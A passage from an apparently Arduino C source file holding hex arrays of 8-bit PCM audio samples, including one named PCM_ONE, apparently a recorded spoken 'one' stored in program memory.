7a,0x7a,0x79,0x79,0x79,0x78,0x76,0x73,0x72,0x70,0x6f,0x6f,0x6e,0x6d,0x6c,0x6d,0x6f,0x6f,0x6b,0x66,0x62,0x62,0x65,0x69,0x6d,0x75,0x88\n,0x98,0x9e,0xa1,0x9c,0x94,0x91,0x8d,0x81,0x75,0x6b,0x68,0x6e,0x78,0x86,0x8f,0x92,0x97,0x9a,0x98,0x93,0x88,0x79,0x6e,0x69,0x6b,0x70,0x77,0x80,0x88,0x90,0x97,0x9b\n,0x9c,0x99,0x8e,0x84,0x7c,0x78,0x77,0x7b,0x7d,0x81,0x87,0x8e,0x94,0x96,0x96,0x90,0x87,0x7f,0x7a,0x76,0x72,0x6d,0x69,0x69,0x6d,0x73,0x76,0x79,0x7b,0x7b,0x7b,0x7d\n,0x7c,0x78,0x71,0x6a,0x65,0x64,0x67,0x6b,0x70,0x73,0x76,0x79,0x7b,0x7b,0x77,0x73,0x6f,0x6e,0x6f,0x72,0x7a,0x86,0x91,0x98,0x9b,0x98,0x95,0x92,0x8c,0x83,0x7b,0x75\n,0x73,0x76,0x7f,0x89,0x90,0x94,0x97,0x96,0x94,0x91,0x89,0x7f,0x74,0x6f,0x70,0x75,0x7e,0x84,0x89,0x8c,0x91,0x98,0x9a,0x94,0x8a,0x81,0x7b,0x7b,0x7e,0x80,0x80,0x80\n,0x82,0x87,0x8c,0x8e,0x8b,0x84,0x7c,0x77,0x74,0x74,0x72,0x70,0x6e,0x6e,0x71,0x77,0x7b,0x7d,0x7c,0x7a,0x78,0x78,0x78,0x76,0x72,0x6f,0x6d,0x6e,0x72,0x77,0x78,0x78\n,0x78,0x79,0x79,0x78,0x74,0x71,0x6d,0x6e,0x70,0x75,0x7e,0x85,0x8a,0x8f,0x92,0x91,0x8f,0x8c,0x87,0x81,0x7c,0x78,0x78,0x7b,0x80,0x87,0x8c,0x91,0x92,0x91,0x8f,0x8a\n,0x83,0x7c,0x75,0x71,0x72,0x76,0x7a,0x7f,0x87,0x8e,0x92,0x95,0x92,0x8c,0x86,0x82,0x7e,0x7c,0x7c,0x7c,0x7d,0x81,0x86,0x89,0x8b,0x8b,0x88,0x85,0x81,0x7d,0x79,0x77\n,0x75,0x72,0x73,0x75,0x77,0x7a,0x7d,0x7e,0x7d,0x7e,0x7e,0x7c,0x7b,0x7a,0x78,0x77,0x76,0x76,0x77,0x79,0x7b,0x7c,0x7d,0x7c,0x7b,0x79,0x77,0x75,0x74,0x74,0x74,0x76\n,0x7a,0x80,0x87,0x8e,0x92,0x93,0x92,0x8e,0x8b,0x86,0x81,0x7c,0x78,0x76,0x78,0x7b,0x81,0x86,0x8a,0x8c,0x8b,0x88,0x84,0x7f,0x7b,0x77,0x73,0x72,0x74,0x7a,0x80,0x88\n,0x8d,0x8e,0x8e,0x8d,0x8c,0x88,0x86,0x81,0x7d,0x7b,0x7a,0x7b,0x7e,0x81,0x83,0x84,0x84,0x83,0x82,0x80,0x7e,0x7b,0x77,0x74,0x72,0x71,0x73,0x75,0x77,0x7b,0x7e,0x81\n,0x82,0x83,0x81,0x7f,0x7d,0x7b,0x78,0x75,0x74,0x74,0x76,0x7a,0x7c,0x7d,0x7d,0x7c,0x7b,0x7a,0x79,0x77,0x75,0x74,0x75,0x7a,0x83,0x89,0x8e,0x91,0x90,0x8f,0x8e,0x8b\n,0x87,0x82,0x7c,0x78,0x77,0x79,0x7e,0x83,0x88,0x8a,0x8a,0x8a,0x89,0x86,0x83,0x80,0x7d,0x7c,0x7d,0x7f,0x81,0x85,0x88,0x8b,0x8c,0x8d,0x8c,0x8a,0x87,0x84,0x82,0x80\n,0x7e,0x7d,0x7d,0x7e,0x7f,0x80,0x82,0x83,0x82,0x82,0x80,0x7d,0x7a,0x78,0x76,0x74,0x73,0x74,0x75,0x78,0x7b,0x7e,0x80,0x81,0x80,0x7e,0x7d,0x7a,0x77,0x75,0x73,0x72\n,0x72,0x73,0x74,0x75,0x78,0x7a,0x7b,0x7d,0x7e,0x7e,0x7f,0x82,0x85,0x87,0x89,0x88,0x85,0x84,0x82,0x81,0x81,0x81,0x7f,0x7e,0x7d,0x7e,0x7f,0x83,0x85,0x85,0x85,0x83\n,0x80,0x80,0x82,0x82,0x83,0x83,0x82,0x82,0x83,0x85,0x87,0x88,0x88,0x86,0x85,0x84,0x83,0x83,0x84,0x83,0x81,0x7f,0x7e,0x7d,0x7e,0x7f,0x80,0x80,0x7e,0x7d,0x7c,0x7c\n,0x7c,0x7c,0x7b,0x7a,0x79,0x79,0x7a,0x7c,0x7e,0x80,0x80,0x7f,0x7e,0x7c,0x7b,0x7b,0x7a,0x79,0x77,0x75,0x74,0x76,0x78,0x7c,0x7f,0x82,0x84,0x86,0x88,0x8b,0x8c,0x8c\n,0x8a,0x86,0x83,0x7f,0x7d,0x7d,0x7d,0x7e,0x80,0x81,0x84,0x85,0x88,0x8a,0x8a,0x89,0x87,0x85,0x82,0x80,0x7f,0x7e,0x7e,0x7e,0x7f,0x80,0x81,0x82,0x84,0x85,0x85,0x84\n,0x83,0x81,0x80,0x7f,0x7f,0x7e,0x7c,0x7b,0x7a,0x7a,0x7a,0x7b,0x7c,0x7c,0x7d,0x7c,0x7c,0x7b,0x7a,0x79,0x79,0x78,0x78,0x78,0x78,0x79,0x7b,0x7c,0x7c,0x7c,0x7b,0x79\n,0x78,0x78,0x79,0x7a,0x7b,0x7c,0x7d,0x7f,0x81,0x82,0x84,0x84,0x85,0x84,0x84,0x84,0x84,0x85,0x85,0x86,0x86,0x85,0x85,0x85,0x85,0x85,0x85,0x84,0x84,0x84,0x84,0x84\n,0x84,0x84,0x83,0x82,0x82,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7d,0x7d,0x7c,0x7c,0x7d,0x7d,0x7e,0x7e\n,0x7e,0x7d,0x7d,0x7e,0x7e,0x7e,0x7d,0x7c,0x7b,0x7a,0x7a,0x7a,0x7b,0x7d,0x7e,0x7f,0x7f,0x80,0x81,0x83,0x85,0x86,0x86,0x85,0x83,0x82,0x81,0x81,0x81,0x81,0x81,0x81\n,0x81,0x80,0x81,0x82,0x83,0x84,0x83,0x82,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7f,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7e,0x7e,0x7d,0x7d,0x7d,0x7c,0x7b\n,0x7b,0x7b,0x7c,0x7c,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7f,0x7f,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x80,0x80,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80\n,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f\n,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x80,0x80\n,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80};\n\nconst char unsigned PROGMEM PCM_ONE[]={\n0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7d,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f\n,0x80,0x80,0x80,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x83,0x83,0x83,0x84,0x84,0x84,0x85,0x85,0x85\n,0x85,0x85,0x85,0x85,0x84,0x84,0x84,0x83,0x83,0x83,0x83,0x83,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e\n,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e\n,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e\n,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x82,0x81,0x81,0x81,0x81,0x81,0x80,0x81,0x81,0x81,0x81,0x81,0x82,0x82,0x82,0x82,0x83,0x83\n,0x84,0x84,0x85,0x85,0x85,0x85,0x84,0x84,0x84,0x84,0x83,0x83,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81\n,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e\n,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7d\n,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f\n,0x7f,0x80,0x80,0x80,0x80,0x81,0x81,0x82,0x82,0x82,0x83,0x83,0x83,0x83,0x83,0x84,0x84,0x84,0x85,0x85,0x86,0x86,0x86,0x86,0x85,0x85,0x84,0x84,0x83,0x83,0x82,0x82\n,0x82,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7e,0x7d,0x7d,0x7d,0x7c,0x7c,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b\n,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7d,0x7e,0x7f,0x80,0x81,0x83,0x84,0x85,0x86,0x88,0x89,0x8a,0x8b,0x8c\n,0x8c,0x8d,0x8c,0x8c,0x8b,0x8a,0x89,0x88,0x86,0x85,0x83,0x82,0x81,0x80,0x7f,0x7e,0x7d,0x7b,0x7a,0x79,0x77,0x75,0x73,0x72,0x70,0x6e,0x6c,0x6a,0x68,0x66,0x65,0x63\n,0x61,0x5f,0x5e,0x5d,0x5e,0x60,0x67,0x6f,0x78,0x82,0x8c,0x95,0x9b,0xa0,0xa2,0xa3,0xa3,0xa1,0x9d,0x9a,0x99,0x97,0x97,0x98,0x9a,0x9b,0x9c,0x9c,0x9c,0x9b,0x99,0x97\n,0x95,0x92,0x8e,0x8b,0x87,0x83,0x80,0x7e,0x7c,0x7b,0x7c,0x7c,0x7e,0x7e,0x7f,0x7f,0x7e,0x7d,0x7a,0x78,0x75,0x71,0x6d,0x67,0x62,0x5c,0x56,0x4f,0x49,0x42,0x3c,0x39\n,0x3a,0x44,0x51,0x5f,0x6f,0x80,0x8e,0x98,0xa0,0xa5,0xa7,0xa7,0xa4,0x9f,0x9b,0x97,0x93,0x92,0x8f,0x8d,0x8a,0x88,0x86,0x84,0x85,0x87,0x8b,0x8e,0x92,0x94,0x96,0x97\n,0x97,0x97,0x95,0x93,0x91,0x8e,0x8c,0x89,0x87,0x86,0x85,0x85,0x86,0x86,0x86,0x86,0x85,0x82,0x7f,0x7b,0x76,0x70,0x6a,0x64,0x5d,0x56,0x50,0x4a,0x44,0x40,0x3c,0x38\n,0x36,0x36,0x3a,0x47,0x56,0x67,0x78,0x88,0x99,0xa4,0xae,0xb3,0xb3,0xb1,0xac,0xa5,0x9e,0x97,0x91,0x8d,0x8a,0x87,0x86,0x84,0x84,0x85,0x88,0x8c,0x91,0x97,0x9b,0x9f\n,0xa2,0xa2,0xa1,0x9f,0x9d,0x98,0x95,0x91,0x8e,0x8c,0x8b,0x8a,0x8a,0x8b,0x8b,0x8d,0x8e,0x8d,0x8c,0x8a,0x86,0x82,0x7c,0x76,0x6f,0x68,0x60,0x59,0x53,0x4b,0x44,0x3e\n,0x38,0x34,0x30,0x2d,0x2c,0x30,0x3d,0x4f,0x62,0x76,0x89,0x9d,0xaa,0xb2,0xb5,0xb1,0xaa,0xa0,0x96,0x8d,0x86,0x80,0x7e,0x7e,0x7f,0x81,0x85,0x88,0x8e,0x95,0x9a,0xa0\n,0xa5,0xaa,0xaa,0xa9,0xa5,0xa0,0x9a,0x95,0x91,0x8e,0x8c,0x8b,0x8d,0x90,0x92,0x95,0x97,0x99,0x9a,0x97,0x93,0x8c,0x84,0x7b,0x74,0x6c,0x65,0x60,0x5a,0x55,0x51,0x4b\n,0x45,0x3f,0x38,0x32,0x2c,0x26,0x23,0x25,0x33,0x47,0x5e,0x78,0x8f,0xa5,0xb4,0xbb,0xbd,0xb4,0xa8,0x9b,0x8f,0x84,0x80,0x7c,0x7d,0x83,0x87,0x8e,0x95,0x9a,0x9f,0xa5\n,0xa8,0xab,0xab,0xa8,0xa5,0x9f,0x98,0x92,0x8d,0x8b,0x8b,0x8e,0x91,0x96,0x9b,0x9f,0xa4,0xa6,0xa6,0xa4,0x9e,0x96,0x8c,0x82,0x77,0x6f,0x69,0x66,0x66,0x65,0x64,0x61\n,0x5c,0x55,0x49,0x3e,0x32,0x28,0x1f,0x17,0x14,0x16,0x21,0x37,0x54,0x71,0x90,0xa7,0xbb,0xc3,0xc0,0xb7,0xa4,0x92,0x81,0x75,0x6f,0x72,0x78,0x82,0x90,0x9b,0xa5,0xad\n,0xaf,0xae,0xad,0xa7,0xa2,0x9d,0x95,0x91,0x8c,0x87,0x88,0x8c,0x92,0x9c,0xa3,0xa8,0xac,0xaa,0xa6,0xa1,0x99,0x91,0x8c,0x86,0x81,0x7d,0x77,0x75,0x74,0x75,0x77,0x79\n,0x78,0x74,0x6b,0x5d,0x4c,0x38,0x27,0x1a,0x0f,0x09,0x08,0x0b,0x14,0x27,0x47,0x6a,0x8f,0xac,0xc0,0xcc,0xc3,0xb2,0x99,0x7b,0x68,0x5e,0x5f,0x6d,0x82,0x96,0xaa,0xbb\n,0xc2,0xc7,0xc3,0xb8,0xae,0xa1,0x96,0x91,0x8c,0x8a,0x8f,0x94,0x99,0xa4,0xac,0xb1,0xb5,0xb1,0xab,0xa3,0x9a,0x92,0x8e,0x8a,0x88,0x88,0x84,0x84,0x83,0x81,0x83,0x83\n,0x82,0x80,0x79,0x6c,0x5e,0x4a,0x37,0x27,0x19,0x12,0x11,0x11,0x15,0x1a,0x20,0x2d,0x46,0x68,0x87,0xa8,0xb3,0xb9,0xaf,0x93,0x7e,0x65,0x5a,0x61,0x70,0x84,0x9d,0xab\n,0xb2,0xb9,0xb5,0xb2,0xb2,0xa9,0xa1,0x9a,0x8d,0x8a,0x88,0x89,0x95,0xa3,0xaf,0xba,0xbe,0xb9,0xb5,0xa9,0x9d,0x99,0x92,0x93,0x95,0x93,0x93,0x90,0x8b,0x89,0x88,0x85\n,0x85,0x81,0x7c,0x77,0x6d,0x62,0x54,0x42,0x34,0x2a,0x1f,0x1c,0x19,0x19,0x1d,0x1c,0x1f,0x27,0x38,0x5c,0x7d,0x9d,0xb1,0xad,0xa8,0x8f,0x79,0x6c,0x62,0x6c,0x7c,0x8d\n,0x9d,0xa8,0xaa,0xad,0xb1,0xb2,0xb7,0xb5,0xa8,0x9c,0x89,0x7a,0x7f,0x88,0x9f,0xbc,0xc8,0xd0,0xc8,0xb3,0xa3,0x96,0x90,0x98,0x9f,0xa2,0xa5,0x9c,0x92,0x8d,0x86,0x8a\n,0x8f,0x8e,0x8f,0x86,0x7a,0x72,0x66,0x5f,0x59,0x50,0x46,0x39,0x29,0x1e,0x15,0x14,0x17,0x19,0x1b,0x21,0x29,0x45,0x68,0x86,0xa8,0xab,0xa6,0x99,0x78,0x6c,0x62,0x63\n,0x7a,0x8c,0x9a,0xaa,0xa9,0xa9,0xb1,0xb1,0xb7,0xba,0xac,0x9a,0x87,0x6e,0x6f,0x7e,0x97,0xc1,0xd5,0xdb,0xd0,0xb2,0x9b,0x90,0x8d,0x9a,0xa7,0xaa,0xa8,0x9a,0x89,0x85\n,0x84,0x8e,0x9d,0x9d,0x99,0x8a,0x75,0x6a,0x63,0x61,0x62,0x5c,0x4e,0x3f,0x2b,0x1c,0x15,0x14,0x1b,0x1d,0x1a,0x15,0x14,0x23,0x4b,0x76,0x9f,0xb5,0xa8,0x98,0x77,0x5e\n,0x5f,0x65,0x7d,0x98,0xa1,0xa7,0xa6,0x9f,0xa9,0xb5,0xc0,0xc6,0xb9,0x9b,0x80,0x68,0x61,0x7c,0x9e,0xc6,0xe1,0xde,0xcb,0xae,0x96,0x93,0x9b,0xa8,0xb3,0xad,0x9f,0x91\n,0x85,0x89,0x96,0xa1,0xa9,0xa4,0x95,0x86,0x77,0x71,0x71,0x6f,0x6a,0x5d,0x4a,0x3b,0x2f,0x2a,0x27,0x27,0x24,0x1e,0x15,0x0e,0x0f,0x19,0x39,0x67,0x8d,0xa7,0xa7,0x8e\n,0x80,0x69,0x66,0x76,0x7c,0x8e,0x93,0x8f,0x95,0x9b,0xa6,0xbd,0xc5,0xc0,0xb1,0x92,0x75,0x6c,0x6e,0x81,0xa6,0xba,0xce,0xd0,0xbd,0xb3,0xa2,0x9d,0xa3,0xa3,0xa4,0xa1\n,0x98,0x95,0x97,0x99,0xa1,0xa2,0x9d,0x98,0x8e,0x88,0x85,0x7f,0x7b,0x72,0x65,0x5b,0x50,0x4b,0x46,0x41,0x38,0x29,0x19,0x0e,0x09,0x06,0x0a,0x10,0x26,0x5b,0x84,0xa8\n,0xb6,0x93,0x87,0x68,0x57,0x6d,0x6e,0x82,0x90,0x89,0x91,0x9f,0xa9,0xc2,0xcc,0xbf,0xab,0x8d,0x6d,0x6a,0x75,0x86,0xb1,0xbd,0xc7,0xc8,0xb3,0xaf,0xa7,0xa2,0xa7,0xa4\n,0x9c,0x9a,0x95,0x95,0xa0,0xa1,0xa4,0xa2,0x96,0x93,0x91,0x8e,0x92,0x89,0x7e,0x74,0x64,0x61,0x5e,0x5a,0x54,0x48,0x38,0x27,0x1a,0x13,0x15,0x14,0x12,0x13,0x16,0x45\n,0x7f,0xa2,0xc6,0xa3,0x81,0x73,0x51,0x6c,0x7f,0x80,0x8f,0x85,0x7f,0x9a,0xaf,0xc7,0xd7,0xc2,0x9c,0x81,0x6b,0x69,0x8a,0x92,0xa3,0xae,0xa7,0xb9,0xc2,0xc0,0xba,0xaa\n,0x94,0x91,0x91,0x97,0xa7,0xa5,0xa0,0x9b,0x93,0x96,0x9e,0x9c,0x9b,0x92,0x85,0x81,0x7c,0x7a,0x77,0x6c,0x60,0x59,0x51,0x4c,0x46,0x39,0x2c,0x1c,0x13,0x10,0x12,0x0d\n,0x0a,0x13,0x39,0x7e,0xa5,0xbd,0xa6,0x76,0x6e,0x5e,0x6c,0x84,0x7a,0x75,0x79,0x7e,0xa7,0xcd,0xd5,0xcc,0xaa,0x83,0x76,0x82,0x86,0x9a,0x96,0x87,0x95,0xaa,0xca,0xdd\n,0xce,0xa0,0x88,0x80,0x90,0xb0,0xb0,0xa2,0x92,0x84,0x90,0xad,0xb1,0xad,0x95,0x78,0x7d,0x8c,0x9b,0xa0,0x8a,0x6a,0x5e,0x5b,0x66,0x6e,0x5d,0x43,0x2d,0x23,0x29,0x33\n,0x2d,0x21,0x0f,0x00,0x0c,0x26,0x5e,0x9e,0xa7,0xa9,0x8e,0x6d,0x83,0x7d,0x78,0x78,0x5f,0x67,0x8f,0xaf,0xcd,0xd3,0xb2,0x9b,0x98,0x96,0x9b,0x9d,0x7d,0x77,0x81,0x96\n,0xcb,0xd9,0xc7,0xa9,0x8d,0x88,0xa5,0xb5,0xaa,0x99,0x7d,0x7f,0x9d,0xaf,0xb2,0xa2,0x82,0x7f,0x8e,0x9d,0xa7,0x98,0x84,0x76,0x76,0x77,0x78,0x6d,0x59,0x52,0x4b,0x48\n,0x47,0x3f,0x32,0x2f,0x2a,0x27,0x27,0x1c,0x16,0x1d,0x2e,0x54,0x91,0x9c,0x9e,0x96,0x76,0x87,0x8a,0x77,0x76,0x6e,0x76,0xa1,0xb9,0xbe,0xba,0xab,0xa6,0xaf,0xb0,0x95\n,0x85,0x77,0x7c,0xa4,0xbc,0xba,0xb0,0x9c,0x99,0xb0,0xad,0x9b,0x8d,0x7b,0x83,0xa2,0xab,0xa5,0x9c,0x87,0x8b,0x9b,0x9b,0x9c,0x95,0x88,0x88,0x89,0x7f,0x7d,0x79,0x6f\n,0x6f,0x65,0x55,0x4d,0x48,0x43,0x47,0x43,0x3e,0x42,0x40,0x3c,0x33,0x21,0x1c,0x21,0x31,0x53,0x7a,0x9b,0x9b,0x9f,0x9a,0x96,0x9f,0x89,0x76,0x74,0x78,0x92,0xaf,0xb5\n,0xbe,0xc2,0xc3,0xbf,0xac,0x94,0x7c,0x7a,0x7f,0x92,0x9f,0xa4,0xab,0xac,0xad,0xa3,0x95,0x86,0x85,0x8c,0x8f,0x8c,0x8a,0x8e,0x99,0xa1,0x9c,0x92,0x86,0x84,0x85,0x81\n,0x7c,0x77,0x7b,0x7c,0x7a,0x6c,0x5f,0x54,0x4e,0x4b,0x47,0x44,0x43,0x45,0x46,0x47,0x45,0x43,0x3d,0x33,0x2d,0x2c,0x33,0x45,0x5d,0x74,0x8f,0xa1,0xa7,0xaa,0x9c,0x8d\n,0x88,0x86,0x8c,0x98,0xa0,0xad,0xbb,0xc1,0xc2,0xba,0xad,0x9e,0x90,0x87,0x80,0x89,0x98,0x9f,0xa8,0xa3,0xa0,0xa4,0xa0,0x97,0x8d,0x85,0x85,0x91,0x95,0x99,0x9a,0x95\n,0x92,0x8d,0x88,0x89,0x89,0x83,0x7f,0x79,0x79,0x7c,0x7c,0x76,0x6f,0x67,0x5f,0x58,0x53,0x50,0x4e,0x4e,0x4d,0x4d,0x50,0x4f,0x45,0x39,0x2e,0x2d,0x34,0x3d,0x4a,0x5b\n,0x70,0x91,0xa5,0xa7,0xae,0xa7,0xa4,0xa3,0x93,0x8d,0x92,0x96,0xa2,0xab,0xaa,0xaf,0xb1,0xad,0xa8,0x9d,0x92,0x8a,0x83,0x82,0x7f,0x85,0x8d,0x92,0x95,0x94,0x93,0x97\n,0x98,0x91,0x8b,0x83,0x86,0x8e,0x91,0x8d,0x89,0x84,0x83,0x83,0x80,0x7d,0x7a,0x7c,0x7b,0x79,0x75,0x70,0x6c,0x65,0x5d,0x56,0x53,0x53,0x55,0x56,0x57,0x59,0x5b,0x5a\n,0x57,0x56,0x51,0x4d,0x4e,0x52,0x5c,0x65,0x6e,0x74,0x7d,0x86,0x8d,0x93,0x95,0x99,0x9f,0xa5,0xa8,0xaa,0xa9,0xa7,0xa7,0xa5,0xa1,0x9d,0x96,0x93,0x90,0x8e,0x8e,0x8f\n,0x91,0x92,0x91,0x8e,0x8d,0x8a,0x89,0x86,0x85,0x87,0x8c,0x91,0x94,0x94,0x94,0x93,0x93,0x91,0x8e,0x8b,0x87,0x84,0x82,0x81,0x81,0x82,0x82,0x7e,0x78,0x71,0x6b,0x67\n,0x63,0x62,0x60,0x5f,0x5f,0x5f,0x5f,0x5e,0x5d,0x5b,0x5a,0x59,0x59,0x59,0x5a,0x5a,0x5b,0x5d,0x60,0x64,0x6b,0x72,0x7a,0x81,0x87,0x8f,0x96,0x9c,0x9f,0xa1,0xa2,0xa3\n,0xa3,0xa3,0xa2,0xa0,0x9e,0x9c,0x99,0x95,0x90,0x8c,0x88,0x82,0x7e,0x7c,0x7c,0x7c,0x7e,0x80,0x83,0x87,0x89,0x8a,0x89,0x87,0x86,0x85,0x83,0x85,0x86,0x86,0x88,0x88\n,0x89,0x89,0x87,0x82,0x7d,0x79,0x77,0x75,0x74,0x72,0x71,0x70,0x70,0x6e,0x6a,0x67,0x64,0x62,0x61,0x60,0x5f,0x5f,0x60,0x62,0x64,0x65,0x65,0x66,0x68,0x6c,0x72,0x79\n,0x7e,0x85,0x8b,0x91,0x97,0x9c,0xa0,0xa2,0xa3,0xa3,0xa4,0xa3,0xa1,0x9f,0x9d,0x9a,0x96,0x92,0x8e,0x8b,0x8a,0x88,0x86,0x85,0x85,0x87,0x88,0x89,0x89,0x87,0x86,0x86\n,0x87,0x88,0x88,0x88,0x89,0x8b,0x8b,0x8b,0x89,0x87,0x84,0x82,0x80,0x7f,0x7f,0x7d,0x7c,0x7a,0x79,0x78,0x75,0x72,0x6d,0x6a,0x69,0x68,0x68,0x67,0x65,0x64,0x62,0x61\n,0x60,0x5f,0x5f,0x5f,0x60,0x63,0x66,0x6a,0x6d,0x70,0x72,0x74,0x78,0x7b,0x7f,0x83,0x87,0x8c,0x90,0x95,0x98,0x9b,0x9c,0x9b,0x99,0x97,0x94,0x92,0x90,0x8e,0x8d,0x8d\n,0x8c,0x8c,0x8b,0x8b,0x8b,0x8b,0x8b,0x8b,0x8b,0x8b,0x8c,0x8c,0x8b,0x8b,0x8a,0x89,0x88,0x86,0x86,0x85,0x85,0x84,0x83,0x82,0x81,0x7f,0x7e,0x7c,0x7b,0x7a,0x79,0x78\n,0x77,0x75,0x74,0x73,0x71,0x6f,0x6d,0x6b,0x6a,0x6a,0x6a,0x6a,0x6a,0x6a,0x6b,0x6b,0x6b,0x6c,0x6d,0x6e,0x70,0x72,0x75,0x79,0x7c,0x80,0x83,0x86,0x88,0x8b,0x8f,0x93\n,0x95,0x97,0x99,0x9a,0x9b,0x9b,0x9b,0x9b,0x9a,0x99,0x97,0x97,0x96,0x95,0x95,0x93,0x92,0x91,0x8e,0x8c,0x8b,0x88,0x85,0x83,0x80,0x7e,0x7e,0x7d,0x7c,0x7b,0x7a,0x79\n,0x7a,0x79,0x79,0x78,0x77,0x77,0x76,0x76,0x76,0x75,0x74,0x74,0x73,0x73,0x73,0x72,0x71,0x6f,0x6d,0x6c,0x6b,0x6b,0x6a,0x6a,0x6a,0x6a,0x6a,0x6a,0x6a,0x6a,0x6a,0x6b\n,0x6c,0x6e,0x70,0x71,0x74,0x77,0x7a,0x7e,0x83,0x86,0x8a,0x8e,0x91,0x95,0x98,0x9c,0x9f,0xa1,0xa2,0xa1,0xa2,0xa2,0xa1,0xa1,0x9f,0x9d,0x9a,0x97,0x94,0x91,0x8e,0x8a\n,0x87,0x85,0x83,0x81,0x80,0x7f,0x7e,0x7d,0x7c,0x7c,0x7c,0x7b,0x7b,0x7b,0x7a,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7a,0x79,0x78,0x77,0x76,0x76,0x75,0x73,0x72\n,0x71,0x70,0x6f,0x6e,0x6d,0x6d,0x6c,0x6c,0x6c,0x6d,0x6e,0x6f,0x70,0x71,0x73,0x75,0x78,0x7b,0x7e,0x81,0x85,0x89,0x8d,0x91,0x94,0x96,0x98,0x99,0x9a,0x9a,0x9a,0x9a\n,0x99,0x99,0x97,0x95,0x93,0x91,0x8f,0x8c,0x8a,0x87,0x85,0x82,0x80,0x7f,0x7d,0x7c,0x7b,0x7a,0x79,0x78,0x77,0x76,0x76,0x76,0x76,0x77,0x77,0x78,0x78,0x78,0x78,0x78\n,0x78,0x78,0x77,0x77,0x76,0x76,0x75,0x75,0x73,0x72,0x71,0x70,0x6f,0x6f,0x6e,0x6e,0x6e,0x6f,0x70,0x71,0x73,0x75,0x76,0x78,0x7a,0x7c,0x7f,0x81,0x83,0x86,0x88,0x8a\n,0x8c,0x8e,0x8f,0x91,0x92,0x93,0x94,0x95,0x96,0x96,0x96,0x96,0x95,0x94,0x93,0x92,0x91,0x90,0x8e,0x8d,0x8c,0x8a,0x89,0x88,0x86,0x85,0x83,0x82,0x81,0x80,0x7f,0x7f\n,0x7e,0x7e,0x7d,0x7d,0x7d,0x7c,0x7c,0x7b,0x7b,0x7a,0x79,0x78,0x78,0x77,0x77,0x76,0x76,0x75,0x74,0x73,0x73,0x72,0x71,0x71,0x71,0x71,0x71,0x72,0x72,0x73,0x73,0x74\n,0x75,0x76,0x77,0x78,0x79,